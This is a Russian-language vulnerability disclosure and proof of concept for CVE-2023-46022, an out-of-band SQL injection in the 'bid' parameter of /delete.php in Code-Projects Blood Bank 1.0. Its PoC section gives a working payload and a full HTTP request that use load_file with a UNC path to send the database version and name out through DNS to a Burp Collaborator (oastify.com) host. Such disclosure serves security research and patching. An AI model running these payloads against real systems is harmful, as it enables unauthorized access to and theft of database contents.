CVE-2023-46022-Code-Projects-Blood-Bank-1.0-OOB-SQL-Injection-Vulnerability
- Exploit Author: ersinerenler
Домашняя страница поставщика
Ссылка на программное обеспечение
Обзор
- Code-Projects Blood Bank V1.0 подвержен критической уязвимости безопасности, связанной с внеполосной (OOB) SQL-инъекцией через параметр 'bid' в файле /delete.php. Данная уязвимость возникает из-за отсутствия надлежащих механизмов защиты, что позволяет злоумышленникам злоупотреблять параметром и проводить атаки OOB SQL-инъекции через Burp Collaborator. Это может привести к несанкционированному доступу и извлечению конфиденциальной информации из баз данных.
Детали уязвимости
- CVE ID: CVE-2023-46022
- Затронутая версия: Blood Bank V1.0
- Уязвимый файл: /delete.php
- Имя параметра: bid
- Тип атаки: Локальная
Ссылки:
Описание
- Параметр 'bid' в файле /delete.php Code-Projects Blood Bank V1.0 подвержен внеполосной SQL-инъекции. Эта уязвимость возникает из-за недостаточных механизмов защиты, что позволяет злоумышленникам использовать параметр с помощью Burp Collaborator для проведения атак OOB SQL-инъекции. С помощью этой техники злоумышленник может потенциально извлечь конфиденциальную информацию из баз данных.
Подтверждение концепции (PoC) :
- Перехватите запрос к delete.php через Burp Suite
- Внедрите полезную нагрузку в уязвимые параметры
- Полезная нагрузка:
3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.collaborator-domain\\a.txt')))%2b'
- Пример запроса для параметра
bid
---
GET /bloodbank/file/delete.php?bid=3'%2b(select%20load_file(concat('\\\\',version(),'.',database(),'.cuaxacpnxbay7ss8o3csf4bkwb22qtei.oastify.com\\a.txt')))%2b' HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Referer: http://localhost/bloodbank/bloodinfo.php
Cookie: PHPSESSID=<some-cookie-value>
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
---
- Информация о базе данных и версии была получена через Burp Suite Collaborator
